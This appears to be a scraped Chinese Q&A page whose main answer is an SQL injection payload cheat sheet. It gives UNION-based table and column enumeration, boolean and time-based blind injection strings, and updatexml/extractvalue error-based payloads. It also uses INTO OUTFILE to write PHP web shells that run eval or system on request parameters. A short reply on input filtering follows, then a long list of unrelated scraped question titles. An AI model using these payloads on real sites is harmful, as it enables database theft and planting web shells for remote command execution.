问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

如何使用加密的Payload来识别并利用SQL注入

发布网友 发布时间:2022-04-30 20:43

我来回答

2个回答

懂视网 时间:2022-05-03 06:29


*GET,post
*有返回
*
*/


基于报错的SQL注入
1、获取字段数
‘ order by 5 --+
2、获取表名
0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
select group_concat(table_name) from information_schema.tables where table_schema=database()
3、获取字段
0‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users‘ --+
select group_concat(column_name) form information_schema.columns where table_name=‘users‘
/*
*GET,post
*无返回,无报错,
*/

盲注,通常采用下面的办法猜解字符串.
‘ and length(database())=8 --+
‘ and ascii(substr(database(),1,1)) > N --+
‘ and ascii(substr(database(),1,1)) = N --+
‘ and ascii(substr(database(),1,1)) < N --+

//基于时间的盲注,常和布尔盲注结合起来用
//在页面上无论正确与否,都没有任何提示的情况下,用
‘ and if(length(database())=8,sleep(3),null) --+ //正确的话就执行sleep
‘ and if(length(database())=8,1,sleep(3)) --+ //正确的话就不执行sleep
‘or if(length(database())=8,sleep(3),null) or ‘1‘=‘1

/*
*GET,post
*无返回,有报错,
*用于select,insert,update,delete语句注入
*/

updatexml()报错的注入
UPDATEXML (XML_document, XPath_string, new_value);?
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc?
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。?
第三个参数:new_value,String格式,替换查找到的符合条件的数据?
payload:
//查询当前MySQL版本
‘and updatexml(1,concat(0x7e,(select @@version)),1) or ‘1‘=‘1
‘or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘
//查询当前数据库名
‘and updatexml(1,concat(0x7e,(select database(),0x7e),1) or ‘1‘=‘1
//查询表名(当前数据库下的)
‘and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or ‘1‘=‘1
//查询字段名(users表中的)
‘and updatexml(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name=‘users‘),0x7e),1) or ‘1‘=‘1

基于insert/update下的报错
‘or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘
基于delete下的报错
‘or updatexml(1,concat(0x7e,(select @@version),0x7e),1)

extractvalue()
/*#为单行注释
*与updatexml没有什么不同
*/
‘and extractvalue(1,concat(0x7e,(select @@version))) #


/*
*一句话木马
*/
php: <?php @eval($_GET[‘string‘])?>

//sql注入漏洞之 读写文件
//写入文件路径为相对路径时,默认写入到数据库所在文件夹中
1111111‘union select 1,2,"<?php @eval($_GET[‘string‘])?>" into outfile "1.php" --+
//也可以写成绝对路径,此处为Windows的路径
1111111‘union select 1,2,"<?php @eval($_GET[‘string‘])?>" into outfile "D:\web_security\1.php" --+
1111111‘union select 1,2,"<?php system($_GET[‘cmd‘])?>" into outfile "D:\web_security\1.php" --+
//相对路径的写法
-14‘ union select 1,2,"<?php system($_GET[‘cmd‘])?>" into outfile "../../www/sqli/Less-1/2.php" --+

 

sql注入之payload

标签:from   sql注入   rom   查询   ack   nbsp   load   let   str   

热心网友 时间:2022-05-03 03:37

要防止SQL注入其实不难,你知道原理就可以了。 所有的SQL注入都是从用户的输入开始的。如果你对所有用户输入进行了判定和过滤,就可以防止SQL注入了。用户输入有好几种,我就说说常见的吧。
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
弹钢琴时手指速度总是不自觉变快怎么办? 弹钢琴时速度总是不自觉变快怎么办? 微信发表情包上限是多少 ...8.0.3版本更新什么?微信表情包上限变成999是什么 成人毛线斗篷式开襟披肩编织 江苏洛社商贸城项目有哪些主要特点和设施? 永明镇的乡镇建设 蓝光花满庭小区基本信息 洛社商贸城项目概括 怀孕了能不能吃汤圆 一元一次不等式的试题列举 用不等式解 不等式解应用题 关于房屋出租的合同怎么写 一道关于不等式的题 不等式的应用题 不等式应用题 初一数学题(不等式) 高中不等式问题! 初一不等式”组“计算题!纯计算!200道!急急急! 不等式题目和解答 初一不等式 解不等式|x+19|-|x-98|&lt;100 写50道不等式(组) 98年的全国竞赛题,考察不等式的基本性质,年久启发亦很大 3x加5y等于98是不等式吗? 这类数学题的解法是什么? win7不能换桌面背景图案怎么办 Win7怎么修改桌面背景图片和主题 现在中国电信的CDMA无线上网卡网速是多少? 如何在一条UPDATE查询中实现SQL注入 cad图纸边框怎么设置 电焊门市部的经验范围怎么填 请问魅蓝录制的视频保存在了哪里?相册里找不到 autocad图纸边框怎么设置 SQL语句id = &#39;1&#39; OR &#39;1&#39; = 1&#39;单引号为什么不成对? 魅族手机通话录音保存在哪里, 插头着火怎么办 使用一段时间后 插座和插头起火 到底是什么原因造成的 家里墙上的插头着火了。怎么办啊急急急急急急急急! 插头插进插座怎么会起火花? 用一个手机号已经注册了一个QQ还能再注册别的多个QQ号吗?会对注册过的QQ号产生影响吗?求解答! 电热水壶插头发热起火什么原因 家里摆放一些鲜花,可以让空气很好,哪些鲜花适合摆在家里呢? 问个问题,手机充电器如果长时间插在插座上,一般情况也不会导致起火吧? 家里适合放什么样的鲜花 用了十年的电热水器的插头为什么突然起火,吓死宝宝了!求告知!谢谢 插座接触不良,继续用会着火吗? 家里放什么鲜花比较好一些 家里适合养哪些鲜花?